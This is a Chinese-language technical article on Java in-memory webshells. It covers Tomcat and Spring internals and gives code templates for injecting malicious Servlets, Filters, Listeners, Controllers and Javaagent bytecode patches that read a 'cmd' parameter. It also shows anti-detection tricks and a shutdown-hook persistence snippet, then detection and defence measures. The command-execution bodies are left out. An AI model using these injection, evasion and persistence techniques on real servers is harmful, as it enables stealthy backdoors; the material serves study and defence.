JAVA内存马的“一生”
字数 1847 2025-08-29 08:31:47
Java内存马技术全面解析与防御指南
一、Java内存马概述
Java内存马是一种无落地文件、运行在内存中的后门木马技术,具有隐蔽性强、难以检测的特点。与传统的WebShell相比,内存马不依赖磁盘文件,仅存在于内存中,通常服务器重启即可消除。
内存马分类
-
基于动态添加Servlet组件的内存马
- 通过动态注册Servlet、Filter或Listener实现
- 主要针对Tomcat等Servlet容器
-
基于动态添加框架组件的内存马
- 针对Spring、SpringBoot等框架
- 如动态注册Controller
-
基于Javaagent和Javassist技术的内存马
- 通过Instrumentation API修改字节码
- 通用性强,不依赖特定URL路径
二、技术基础
Tomcat核心组件
-
容器层级结构
- Engine → Host → Context → Wrapper
- StandardContext对象是关键控制点
-
Servlet三大组件
- Servlet:处理请求的核心组件
- Filter:请求过滤器,形成FilterChain
- Listener:事件监听器
-
StandardContext获取方法
// 通过request获取 ServletContext servletContext = request.getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext)appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext)stdctx.get(applicationContext); // 通过线程上下文获取 WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase)Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext();
Javaagent技术
Javaagent分为两种模式:
- premain:主程序运行前加载
- agentmain:主程序运行后动态加载(内存马常用)
关键类:
java.lang.instrument.Instrumentationjava.lang.instrument.ClassFileTransformer
Javassist技术
动态修改字节码的库,主要类:
ClassPool:类池CtClass:表示类CtMethod:表示方法CtField:表示字段
三、内存马实现技术
1. 动态注册Servlet组件
动态注册Servlet示例
<%
// 获取StandardContext
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext)appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext)stdctx.get(applicationContext);
// 创建恶意Servlet
Servlet servlet = new Servlet() {
@Override
public void service(ServletRequest req, ServletResponse res) throws IOException {
String cmd = req.getParameter("cmd");
// 命令执行逻辑...
}
// 其他方法实现...
};
// 创建Wrapper并注册
org.apache.catalina.Wrapper newWrapper = standardContext.createWrapper();
newWrapper.setName("memshell");
newWrapper.setServlet(servlet);
standardContext.addChild(newWrapper);
standardContext.addServletMappingDecoded("/shell", "memshell");
%>
动态注册Filter示例
<%
// 获取StandardContext同上...
// 创建恶意Filter
Filter filter = new Filter() {
@Override
public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException {
if (req.getParameter("cmd") != null) {
// 命令执行逻辑...
return;
}
chain.doFilter(req, res);
}
// 其他方法实现...
};
// 创建FilterDef和FilterMap
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName("memshell");
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName("memshell");
standardContext.addFilterMapBefore(filterMap);
%>
动态注册Listener示例
<%
// 获取StandardContext同上...
// 创建恶意Listener
ServletRequestListener listener = new ServletRequestListener() {
@Override
public void requestDestroyed(ServletRequestEvent sre) {
HttpServletRequest req = (HttpServletRequest)sre.getServletRequest();
if (req.getParameter("cmd") != null) {
// 命令执行逻辑...
}
}
// 其他方法实现...
};
standardContext.addApplicationEventListener(listener);
%>
2. 动态注册框架组件(SpringBoot)
@Controller
public class NoshellController {
@RequestMapping("/noshell")
public void noshell(HttpServletRequest request) throws Exception {
// 获取Spring上下文
WebApplicationContext context = (WebApplicationContext)RequestContextHolder
.currentRequestAttributes()
.getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// 获取恶意方法
Method method = Evil.class.getMethod("test");
// 配置映射信息
PatternsRequestCondition url = new PatternsRequestCondition("/shell");
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
// 注册Controller
Evil injectToController = new Evil();
mappingHandlerMapping.registerMapping(info, injectToController, method);
}
public class Evil {
public void test() throws Exception {
// 命令执行逻辑...
}
}
}
3. Javaagent型内存马
Agent实现
public class Agentthing {
public static void agentmain(String agentArgs, Instrumentation inst) throws Exception {
inst.addTransformer(new Transformerthings(), true);
for (Class cl : inst.getAllLoadedClasses()) {
if (cl.getName().equals("org.apache.catalina.core.ApplicationFilterChain")) {
inst.retransformClasses(cl); // 或redefineClasses
}
}
}
}
public class Transformerthings implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className,
Class<?> classBeingRedefined, ProtectionDomain protectionDomain,
byte[] classfileBuffer) {
if (className.equals("org/apache/catalina/core/ApplicationFilterChain")) {
try {
ClassPool cp = ClassPool.getDefault();
CtClass cc = cp.get("org.apache.catalina.core.ApplicationFilterChain");
CtMethod m = cc.getDeclaredMethod("internalDoFilter");
// 插入恶意代码
m.insertBefore("javax.servlet.http.HttpServletRequest req = $1;" +
"String cmd = req.getParameter(\"cmd\");" +
"if(cmd != null) {" +
" // 命令执行逻辑..." +
"}");
return cc.toBytecode();
} catch (Exception e) {
e.printStackTrace();
}
}
return null;
}
}
Attach实现
public class Attachthing {
public static void main(String[] args) throws Exception {
String pid = getTomcatPid(); // 通过jps获取Tomcat PID
VirtualMachine vm = VirtualMachine.attach(pid);
vm.loadAgent("agent.jar");
vm.detach();
}
}
四、主流工具分析
冰蝎内存马实现特点
- 使用Javaagent技术实现
- 通过
redefineClasses方法修改字节码 - 主要修改
jakarta.servlet.http.HttpServlet类 - 实现防检测功能(删除
/tmp/.java_pid*文件)
哥斯拉内存马实现特点
- 使用动态注册Servlet方式
- 首次连接加载完整payload
- 后续通过加密传输函数名和参数调用
- 可动态卸载内存马
五、检测与查杀技术
1. Javaagent型内存马检测
针对retransformClasses实现的检测
public class ScannerAgent {
public static void agentmain(String args, Instrumentation inst) throws Exception {
inst.addTransformer(new ScannerTransformer(), true);
inst.retransformClasses(ApplicationFilterChain.class);
}
}
public class ScannerTransformer implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className,
Class<?> classBeingRedefined, byte[] classfileBuffer) {
if (className.equals("org/apache/catalina/core/ApplicationFilterChain")) {
// 对比当前字节码与原始字节码
byte[] original = getOriginalBytecode();
if (!Arrays.equals(classfileBuffer, original)) {
return original; // 恢复原始字节码
}
}
return null;
}
}
针对redefineClasses实现的检测
使用sa-jdi.jar工具:
java -cp sa-jdi.jar sun.jvm.hotspot.HSDB
通过HSDB工具可以dump出被修改的类字节码。
2. Servlet/Filter型内存马检测
检测思路:
- 检查所有已加载类中继承
Servlet/Filter/Listener的类 - 分析类名和关键方法字节码中的可疑特征
- 检查MBean注册情况(可被绕过)
3. 通用检测方法
- Javaagent扫描:扫描所有已加载类
- 字节码特征检测:查找Runtime、ProcessBuilder等调用
- 行为监控:监控动态组件注册行为
- MBean检查:检查异常的Filter/Servlet注册
六、反查杀技术
1. 冰蝎防检测技术
删除/tmp/.java_pid*文件,阻止后续Agent注入:
// 在agentmain方法中
if (isAntiAgent) {
new File("/tmp/.java_pid" + pid).delete();
}
2. 周瑜内存马技术
拦截ClassFileTransformer实现类:
// 在transform方法中
if (className.equals("java/lang/instrument/ClassFileTransformer")) {
return new byte[0]; // 清空字节码
}
七、持久化与复活技术
ShutdownHook复活技术
public class Agentthing {
public static void agentmain(String args, Instrumentation inst) {
// 注册关机钩子
Runtime.getRuntime().addShutdownHook(new Thread(() -> {
// 将agent保存到文件
saveToFile();
// 重启时重新加载
Runtime.getRuntime().exec("java -jar inject.jar");
}));
}
}
八、防御建议
- 禁用动态注册:限制Servlet/Filter的动态注册能力
- Agent白名单:控制Javaagent的加载
- RASP防护:部署运行时应用自我保护
- 权限控制:严格限制Web应用权限
- 补丁管理:及时修复反序列化等漏洞
- 监控措施:
- 监控
VirtualMachine.attach调用 - 监控
/tmp/.java_pid*文件操作 - 监控异常的类修改行为
- 监控
九、总结
Java内存马技术是Web安全领域的尖端攻防技术,涉及:
- Servlet容器原理
- Java字节码操作
- JVM Attach机制
- 框架内部机制
防御需要从多个层面构建防护体系,结合静态防护和动态监控,才能有效应对内存马威胁。